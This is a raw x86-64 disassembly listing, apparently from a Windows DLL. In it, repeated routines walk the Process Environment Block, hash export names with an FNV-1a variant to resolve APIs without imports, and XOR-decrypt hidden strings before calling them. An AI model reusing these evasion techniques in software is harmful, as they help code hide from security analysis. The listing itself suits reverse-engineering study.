jne 0x1800c0ad0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800c0b2d
cmp qword [rax + 0x30], r14
jne 0x1800c0aa0
mov r10, r14
mov qword [0x18024def0], r10
cmp byte [0x1801c4acf], r14b
mov rax, qword [0x1801c4ac8]
mov qword [rsp + 0x30], rax
je 0x1800c0c84
cmp r12d, 2
jl 0x1800c0c44
movdqa xmm1, xmm6
movd eax, xmm11
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x30]
pmulld xmm0, xmm10
psubd xmm6, xmm0
movd xmm0, eax
andps xmm6, xmm9
packuswb xmm6, xmm6
packuswb xmm6, xmm6
paddb xmm6, xmm0
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
xorps xmm6, xmm1
movdqa xmm1, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movd dword [rsp + 0x30], xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm10
psubd xmm7, xmm0
movd xmm0, eax
andps xmm7, xmm9
packuswb xmm7, xmm7
packuswb xmm7, xmm7
paddb xmm7, xmm0
xorps xmm7, xmm1
movd dword [rsp + 0x34], xmm7
jmp 0x1800c0c84
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x1800c0b30
lea r8, [rsp + 0x30]
nop dword [rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
inc r14d
sub al, cl
add al, 0x36
xor byte [r8 - 1], al
cmp r14d, 8
jl 0x1800c0c50
xor r9d, r9d
lea r8, [0x1801aec24]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c0d27
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0d27
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xefc254f1
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800c0d22
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800c0d00
cmp r8d, 0xf89f7b81
je 0x1800c0d2c
test r9d, r9d
jne 0x1800c0ce0
mov rax, qword [rax]
jmp 0x1800c0cb0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c0dd7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0dd7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xeec2535e
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800c0dd2
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800c0db0
cmp r8d, 0xdffea836
je 0x1800c0ddc
test r9d, r9d
jne 0x1800c0d90
mov rcx, qword [rcx]
jmp 0x1800c0d60
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c0e87
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0e87
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x607d5271
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800c0e82
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800c0e60
cmp r8d, 0x69a5778d
je 0x1800c0e8c
test r9d, r9d
jne 0x1800c0e40
mov rax, qword [rax]
jmp 0x1800c0e10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800c0f37
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0f37
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xacff7215
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800c0f32
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800c0f10
cmp r8d, 0xda54d295
je 0x1800c0f3c
test r9d, r9d
jne 0x1800c0ef0
mov rax, qword [rax]
jmp 0x1800c0ec0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
lea rax, [0x1800bad90]
mov qword [r15 + 0x40], rax
lea rax, [0x1800bf9a0]
mov qword [r15 + 0x68], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1800c0ff7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800c0ff7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x3a4adde9
mov r10d, r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800c0ff2
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800c0fd0
cmp r8d, 0x362d06fa
je 0x1800c0ffc
test r9d, r9d
jne 0x1800c0fb0
mov rax, qword [rax]
jmp 0x1800c0f80
mov r9d, dword [rdi + 0x24]
lea rdx, [rbp - 0x31]
add r9, r11
mov qword [rsp + 0x20], rdx
mov r8d, 8
mov rdx, r15
mov rcx, 0xffffffffffffffff
movzx r10d, word [r9 + r10*2]
mov r9d, dword [rdi + 0x1c]
add r9, r11
mov eax, dword [r9 + r10*4]
mov r9d, dword [rbp - 0x31]
add rax, r11
call rax
mov r15, qword [rsp + 0x138]
mov rsi, qword [rsp + 0x128]
mov rdi, qword [rsp + 0x130]
mov rbx, qword [rsp + 0x120]
mov rcx, qword [rbp - 0x29]
xor rcx, rsp
call fcn.1801a9230
lea r11, [rsp + 0x100]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800c1090
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
lea rcx, [0x18024deb8]
setne byte [0x18024deb4]
call fcn.1801a90b8
jmp 0x1800bfc12
lea rcx, [0x18024deb8]
call fcn.1801a9124
cmp dword [0x18024deb8], 0xffffffff
jne 0x1800bfc12
mov eax, dword [0x1801c4a70]
mov r8d, r14d
movsd xmm0, qword [0x1801c4a68]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1801c4a74]
mov byte [rbp - 0x7d], al
movsd qword [rsp + 0x30], xmm0
cmp r12d, 2
jl 0x1800c1202
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckldq xmm1, xmm6
mov r8d, 8
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, dword [0x1801c4a68]
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, dword [rsp + 0x34]
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rsp + 0x34], xmm1
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
jmp 0x1800c1090